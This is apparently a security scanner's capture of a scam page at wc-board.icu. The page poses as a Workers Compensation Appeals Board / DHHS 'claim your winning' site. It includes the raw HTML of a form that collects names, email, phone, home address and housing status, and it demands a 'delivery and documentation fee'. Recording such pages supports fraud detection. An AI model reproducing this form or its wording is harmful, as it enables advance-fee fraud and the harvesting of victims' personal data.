wc-board.icu
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URL:
https://wc-board.icu/claims/index.html
Submission: On October 15 via manual from NZ
Submission: On October 15 via manual from NZ
Form analysis
1 forms found in the DOMName: New Form — POST post.php
<form action="post.php" class="elementor-form" method="post" name="New Form">
<div class="elementor-form-fields-wrapper elementor-labels-above">
<div class="elementor-field-type-text elementor-field-group elementor-column elementor-field-group-name elementor-col-50 elementor-field-required"><label class="elementor-field-label" for="form-field-name">Firstname</label><input
aria-required="true" class="elementor-field elementor-size-sm elementor-field-textual" id="form-field-name" name="Firstname" placeholder="Firstname" required="required" size="1" type="text"></div>
<div class="elementor-field-type-text elementor-field-group elementor-column elementor-field-group-5bbc8d2 elementor-col-50 elementor-field-required"><label class="elementor-field-label" for="form-field-5bbc8d2">Lastname</label><input
aria-required="true" class="elementor-field elementor-size-sm elementor-field-textual" id="form-field-5bbc8d2" name="Lastname" placeholder="Lastname" required="required" size="1" type="text"></div>
<div class="elementor-field-type-email elementor-field-group elementor-column elementor-field-group-email elementor-col-50 elementor-field-required"><label class="elementor-field-label" for="form-field-email">Email</label><input
aria-required="true" class="elementor-field elementor-size-sm elementor-field-textual" id="form-field-email" name="Email" placeholder="Email" required="required" size="1" type="email"></div>
<div class="elementor-field-type-text elementor-field-group elementor-column elementor-field-group-653791c elementor-col-50 elementor-field-required"><label class="elementor-field-label" for="form-field-653791c">Phone </label><input
aria-required="true" class="elementor-field elementor-size-sm elementor-field-textual" id="form-field-653791c" name="Phone" placeholder="Enter phone number" required="required" size="1" type="text"></div>
<div class="elementor-field-type-textarea elementor-field-group elementor-column elementor-field-group-56dab15 elementor-col-66 elementor-field-required"><label class="elementor-field-label" for="form-field-56dab15">Home address</label><textarea
aria-required="true" class="elementor-field-textual elementor-field elementor-size-sm" id="form-field-56dab15" name="Address" placeholder="Enter home address" required="required" rows="2"></textarea></div>
<div class="elementor-field-type-radio elementor-field-group elementor-column elementor-field-group-4f7f349 elementor-col-33 elementor-field-required"><label class="elementor-field-label" for="form-field-4f7f349">Please choose </label>
<div class="elementor-field-subgroup elementor-subgroup-inline"><span class="elementor-field-option"><input aria-required="true" id="form-field-4f7f349-0" name="Ownership" required="required" type="radio" value="Home Owner"> <label
for="form-field-4f7f349-0">Home Owner</label></span><span class="elementor-field-option"><input aria-required="true" id="form-field-4f7f349-1" name="Ownership" required="required" type="radio" value="Rented Apartment"> <label
for="form-field-4f7f349-1">Rented Apartment</label></span></div>
</div>
<div class="elementor-field-type-select elementor-field-group elementor-column elementor-field-group-b015fb7 elementor-col-100 elementor-field-required"><label class="elementor-field-label" for="form-field-b015fb7">How do you want your
winning?</label>
<div class="elementor-field elementor-select-wrapper "><select aria-required="true" class="elementor-field-textual elementor-size-sm" id="form-field-b015fb7" name="Payment" required="required">
<option value="Cash">Cash</option>
<option value="Cheque">Cheque</option>
</select></div>
</div>
<div class="elementor-field-type-acceptance elementor-field-group elementor-column elementor-field-group-bd21179 elementor-col-100 elementor-field-required"><label class="elementor-field-label" for="form-field-bd21179">Please read the message
below before claiming your winning</label>
<div class="elementor-field-subgroup"><span class="elementor-field-option"><input aria-required="true" class="elementor-field elementor-size-sm elementor-acceptance-field" id="form-field-bd21179" name="form_fields[bd21179]" required="required"
type="checkbox"> <label for="form-field-bd21179">You are required to pay for delivery and documentation fee.</label></span></div>
</div>
<div class="elementor-field-group elementor-column elementor-field-type-submit elementor-col-50"><button class="elementor-button elementor-size-sm" type="submit"><span><span class="elementor-button-text">Send</span> </span></button></div>
</div>
</form>
Text Content
Skip to content Some success stories The latest information about Workers Compensation Appeals Board (WCAB) and Department of Health & Human Service (DHHS) success stories× Dismiss alert Contact us * WCAB Information * About us * News * Our community * Success stories * Claims * Qualified winners list Menu * WCAB Information * About us * News * Our community * Success stories * Claims * Qualified winners list Claim your winning The key is not the will to win… everybody has that. It is the will to prepare to win that is important. OUR REQUIREMENTS AND DOCUMENTS * Contact your agent to proceed on your claim. * You are required to pay for your documentation and delivery fee because no agent is allowed to touch individual winnings. * This is a 24 hours Service. Firstname Lastname Email Phone Home address Please choose Home Owner Rented Apartment How do you want your winning? CashCheque Please read the message below before claiming your winning You are required to pay for delivery and documentation fee. Send LEGAL * Terms of use * Copyright * Privacy policy ABOUT US * Qualified winners list * Contact us * About us * Claims EXTRA * Qualified winners list * Success stories * Our community * Home * Link opens in new window. Site may not meet accessibility guidelines.